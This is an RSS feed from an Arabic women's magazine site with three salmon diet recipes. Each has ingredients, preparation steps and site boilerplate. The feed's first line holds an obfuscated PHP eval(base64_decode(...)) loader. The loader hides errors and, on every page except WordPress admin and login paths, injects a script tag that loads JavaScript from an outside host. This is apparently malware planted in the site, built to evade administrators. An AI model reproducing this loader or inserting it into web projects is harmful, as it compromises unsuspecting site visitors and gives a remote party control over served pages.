eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | السلمون https://jouzal.com مجلة نسائية عربية Tue, 05 Jan 2021 07:42:09 +0000 ar hourly 1 https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png جوزال | السلمون https://jouzal.com 32 32 سلطة السلمون المدخن للرجيم https://jouzal.com/%d8%b3%d9%84%d8%b7%d8%a9-%d8%a7%d9%84%d8%b3%d9%84%d9%85%d9%88%d9%86-%d8%a7%d9%84%d9%85%d8%af%d8%ae%d9%86-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ Tue, 05 Jan 2021 07:42:09 +0000 https://jouzal.com/%d8%b3%d9%84%d8%b7%d8%a9-%d8%a7%d9%84%d8%b3%d9%84%d9%85%d9%88%d9%86-%d8%a7%d9%84%d9%85%d8%af%d8%ae%d9%86-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

سلطة السلمون المدخن للرجيم


<!–

–>

مطبخ سيدتي

Tue, 05 Jan 2021 00:00:00 GMT
Tue, 05 Jan 2021 07:39:22 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

سلطة السلمون المدخن للرجيم


سلطة السلمون المدخن للرجيم .. وصفة رجيم خفيفة، وشهية، ومناسبة جداً لمن يتبعون الحمية لإنقاص الوزن، تعلمي مع مطبخ سيدتي الطريقة السريعة لتحضيرها وتمتعي بطعمها الرائع والمميز

تعلمي أيضاً:&nbsp; سلمون مشوي مع الأعشاب للرجيم

المقادير

مقادير الصلصة :

الطحينية :
2 ملعقة كبيرة

المايونيز :
ملعقة كبيرة
(لايت)

خل البلسمك :
2 ملعقة كبيرة

عصير الليمون :
2 ملعقة صغيرة

الشبت :
2 ملعقة كبيرة
(مفروم)

ملح :
حسب الرغبة

السلمون المدخن :
100 غراماً

الجرجير :
نصف حزمة

الطماطم الكرزية :
300 غراماً
(ملونة، مقطّعة شرائح)

الأفوكادو :
1 حبة
(مقطّع)

الفجل :
ربع كوب
(مقطّع شرائح)

خس :
8 ورقات

طريقة التحضير

قطّعي أوراق الخسّ بطريقة طوليّة متساوية وضعيها في طبق التقديم.
ضعي الجرجير والطماطم الكرزية الملوّنة والأفوكادو والفجل فوق الخس في الطبق.
وزّعي السلمون في الطبق بشكل جميل.
لتحضير الصلصة: في وعاء صغير، ضعي الطحينة والمايونيز وخلّ البلسميك وعصير الليمون الحامض والشبت المفروم.
رشّي الملح بحسب الذوق واخلطي المكونات جيداً حتى تتجانس.
إذا كانت الصلصة كثيفاً قليلاً، صبّي القليل من الماء.
وزعي كمية قليلة من الصلصة فوق طبق السلطة.
ضعي كمية الصلصة المتبقية في وعاء وقدّميها إلى جانب السلطة، وزيّني بالشبت ثم قدميها.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> سلطة السلمون دايت https://jouzal.com/%d8%b3%d9%84%d8%b7%d8%a9-%d8%a7%d9%84%d8%b3%d9%84%d9%85%d9%88%d9%86-%d8%af%d8%a7%d9%8a%d8%aa/ Tue, 29 Dec 2020 21:49:22 +0000 https://jouzal.com/%d8%b3%d9%84%d8%b7%d8%a9-%d8%a7%d9%84%d8%b3%d9%84%d9%85%d9%88%d9%86-%d8%af%d8%a7%d9%8a%d8%aa/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

سلطة السلمون دايت


<!–

–>

مطبخ سيدتي

Wed, 02 Dec 2020 00:00:00 GMT
Wed, 02 Dec 2020 08:13:46 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

سلطة السلمون دايت


سلطة السلمون دايت … بسبب احتواء سمك السلمون على نسبة محدودة وقليلة من السعرات الحرارية، فهو يعتبر خياراً مثالياً كطبق من سلطات الرجيم السهلة التحضير والخفيفة، جربي السلطة الآن في مطبخك وتمتعي بالطعم الرائع

تعلمي أيضاً:&nbsp; السوشي بالسلمون اللايت للرجيم

المقادير

مقادير السلطة :

خس :
نصف حزمة

طماطم :
300 غراماً

خيار :
1 حبة
(مقشر ومقطع)

الذرة :
كوب ونصف

البصل الأحمر :
نصف حبة
(مقطع شرائح)

كزبرة خضراء :
ربع كوب

جبن فيتا :
120 غراماً

مقادير صوص الأفوكادو :

الروب :
نصف كوب

الأفوكادو :
نصف حبة

الليمون :
ملعقة كبيرة
(طازج)

الثوم :
فص

بقدونس :
ملعقة كبيرة
(طازج)

الشبت :
ملعقة صغيرة

مسحوق البصل :
نصف ملعقة صغيرة

ملح :
رشّة

فلفل أسود :
رشّة

حليب :
3 ملاعق كبيرة

فيليه السلمون :
4 قطع
(بدون جلد)

الفلفل الحار :
ملعقة صغيرة
(مسحوق)

الكمون :
ملعقة صغيرة
(مطحون)

بابريكا :
نصف ملعقة صغيرة

البصل :
نصف ملعقة صغيرة
(مجفف)

زيت الزيتون :
ملعقة كبيرة ونصف

ملح :
رشّة

فلفل أسود :
رشّة

الليمون :
1 حبة

طريقة التحضير

في وعاء صغير، اخلطي مسحوق الفلفل الحار والكمون والبابريكا ومسحوق البصل.
ادهني شرائح سمك السلمون من الجانبين بزيت الزيتون ثم تبلي بالملح والفلفل ثم رشي خليط التوابل بالتساوي على كلا الجانبين.
سخني الشواية وادهنيها بالزيت ثم رصي قطع السلمون وضعيها لمدة 4 دقائق لكل جانب.
ارفعي السمك من الشواية واعصري الليمون على السلمون المشوي.
لتحضير الصوص: أضيفي كل المكونات في محضرة الطعام ما عدا الحليب ثم أضيفي الحليب بالتدريج للحصول على القوام المناسب.
اخلطي مكونات السلطة وقسميها في 4 أطباق وضعي قطعة من السمك فوق كل طبق، ووزعي الصوص على السمك.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]> ساندويش السلمون المدخن للرجيم https://jouzal.com/%d8%b3%d8%a7%d9%86%d8%af%d9%88%d9%8a%d8%b4-%d8%a7%d9%84%d8%b3%d9%84%d9%85%d9%88%d9%86-%d8%a7%d9%84%d9%85%d8%af%d8%ae%d9%86-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ Tue, 29 Dec 2020 20:54:18 +0000 https://jouzal.com/%d8%b3%d8%a7%d9%86%d8%af%d9%88%d9%8a%d8%b4-%d8%a7%d9%84%d8%b3%d9%84%d9%85%d9%88%d9%86-%d8%a7%d9%84%d9%85%d8%af%d8%ae%d9%86-%d9%84%d9%84%d8%b1%d8%ac%d9%8a%d9%85/ جوزال مجلة نسائية عربية تهتم بنشر اهم وابرز اخبار الفن والمشاهير وطرح احدث الوصفات المتعلقة بالجمال والموضة ، كما نهتم ايضاً بالصحة والرشاقة، وننوه ان جميع الاخبار والموضوعات المنشورة هنا ليست وجهة نظر المجلة ولكنها تحت مسؤولية المحرر

ساندويش السلمون المدخن للرجيم


<!–

–>

مطبخ سيدتي

Tue, 22 Dec 2020 00:00:00 GMT
Tue, 22 Dec 2020 08:18:09 GMT

window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(‘js’, new Date());

gtag(‘config’, ‘UA-8935925-4’);

ساندويش السلمون المدخن للرجيم


ساندويش السلمون المدخن للرجيم …&nbsp;يدخل سمك السلمون بإعداد وصفات الرجيم المميزة، نقدم لك طريقة عمل الساندويشات السهلة والخفيفة، جربيها اليوم وتمتعي بأطيب المأكولات الشهية والمناسبة لرجيمك

تعلمي أيضاً:&nbsp; سلطة السلمون دايت

المقادير

خبز التوست :
4 شرائح
(أسمر)

جبن كريمي :
ملعقة كبيرة
(قليل الدسم)

السلمون المدخن :
2 شريحة

خيار :
1 حبة
(مُقشر ومُقطع حلقات)

البصل الأحمر :
1 حبة
(صغير الحجم / مقطع شرائح)

طريقة التحضير

ضعي شرائح الخبز على سطح مستوي أملس، وادهني الشريحة الأولى بالجبن.
قومي بطوي شريحة السالمون ليتناسب حجمها مع حجم شرائح الخبز.
ضعي قطعة من الخيار وشريحة من البصل فوق شريحة الخبز الثانية، ثم ضعيها فوق السلمون بحيث يكون البصل للأعلى.
ضعي شريحة الخبز الأخيرة كطبقة أخيرة، قومي بتثبيت الطبقات بعود خشبي صغير، وقدميها.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]>